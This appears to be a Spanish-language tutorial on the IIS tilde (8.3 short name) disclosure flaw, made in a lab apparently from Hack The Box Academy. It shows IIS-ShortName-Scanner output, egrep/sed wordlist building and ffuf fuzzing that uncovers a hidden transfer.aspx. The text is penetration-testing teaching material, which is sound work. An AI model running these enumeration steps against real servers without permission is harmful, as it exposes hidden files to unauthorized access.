3 minuto(s) estimado(s) de lectura
Vulnerabilidad del tilde (~) de IIS
Y su enumeración
La enumeración de directorios mediante el uso de la tilde en IIS es una técnica que permite descubrir archivos y carpetas ocultas en ciertas versiones del servidor web Microsoft IIS. Esto sucede porque Windows genera automáticamente nombres cortos en formato 8.3 (por ejemplo, SECRET~1.DOC) para cada archivo o directorio creado. Aunque estos nombres no están destinados a ser accesibles públicamente, IIS a veces permite consultarlos directamente mediante una URL que contiene el carácter ~. Si un atacante logra adivinar uno de estos nombres cortos, puede acceder a recursos que deberían permanecer ocultos.
Ejemplo:
Supongamos que existe un archivo llamado informacion_secreta_backup.txt dentro de un directorio protegido. Windows podría generar para él un nombre corto como:
INFORM~1.TXT
En algunos servidores IIS vulnerables, un atacante podría acceder al archivo utilizando una URL como:
http://example.com/INFORM~1.TXT
Si el servidor expone los nombres cortos 8.3, esta petición podría devolver el archivo completo, revelando información sensible que no debería ser accesible desde el exterior.
Escaner de nombres cortos IIS
Existe un repositorio en GitHub llamado IIS-ShortName-Scanner en java que nos automatizará el proceso de detección de nombres cortos. Una vez clonada la herramienta desde GitHub procedemos a ingresar al directorio “release” donde lo ejecutaremos de la siguiente forma:
java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL]
En un ejemplo real se vería de la siguiente forma:
┌──(root㉿nptg)-[/IIS-ShortName-Scanner/release]
└─# java -jar iis_shortname_scanner.jar 0 5 http://10.129.231.230/
Do you want to use proxy [Y=Yes, Anything Else=No]? N
Early result: the target is probably vulnerable.
Early result: identified letters in names > A,C,D,E,F,L,N,O,P,R,S,T,U,X
Early result: identified letters in extensions > A,C,P,S
# IIS Short Name (8.3) Scanner version 2023.4 - scan initiated 2025/11/24 02:42:20
Target: http://10.129.231.230/
|_ Result: Vulnerable!
|_ Used HTTP method: OPTIONS
|_ Suffix (magic part): /~1/.rem
|_ Extra information:
|_ Number of sent requests: 571
|_ Identified directories: 2
|_ ASPNET~1
|_ UPLOAD~1
|_ Identified files: 2
|_ CSASPX~1.CS
|_ Actual extension = .CS
|_ TRANSF~1.ASP
En este caso detectamos TRANSF~1.ASP que nos llama particularmente la atención, sin embargo no funciona.
Debemos realizar un proceso de fuzzing a partir de la palabra transf, generando una lista mediante el uso de sed. Esta herramienta permite aplicar operaciones de búsqueda y reemplazo sobre su entrada (en este caso, la salida producida por egrep).
La expresión utilizada, 's/^[^:]*://', indica a sed que busque cualquier secuencia de caracteres desde el inicio de la línea (^) hasta el primer signo de dos puntos (:), y que reemplace todo ese segmento por una cadena vacía. En otras palabras, elimina el nombre del archivo y los dos puntos que lo siguen, dejando únicamente el contenido que comienza con la palabra transf, lo cual será útil para generar la lista final que se empleará durante el fuzzing.
┌──(root㉿nptg)-[/IIS-ShortName-Scanner/release]
└─# egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > ./list.txt
Para evitar que no se repitan las palabras se pueden ocupar más filtros para crear la wordlist.
┌──(root㉿nptg)-[/IIS-ShortName-Scanner/release]
└─# egrep -r '^transf' /usr/share/wordlists/* | sed 's/^[^:]*://;s/\r$//;s/^[[:space:]]*//;s/[[:space:]]*$//' | sort -u > list.txt
Si detectamos otro archivo llamativo simplemente lo reemplazamos donde aparece transf.
Finalmente ocupamos ffuf para detectar el archivo oculto.
┌──(root㉿nptg)-[/IIS-ShortName-Scanner/release]
└─# ffuf -w list.txt -u 'http://10.129.231.230/FUZZ' -e .aspx,.asp -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.231.230/FUZZ
:: Wordlist : FUZZ: /home/nptg/Documentos/HTB/Academy/CBBH/list.txt
:: Extensions : .aspx .asp
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
transfer.aspx [Status: 200, Size: 941, Words: 89, Lines: 22, Duration: 149ms]

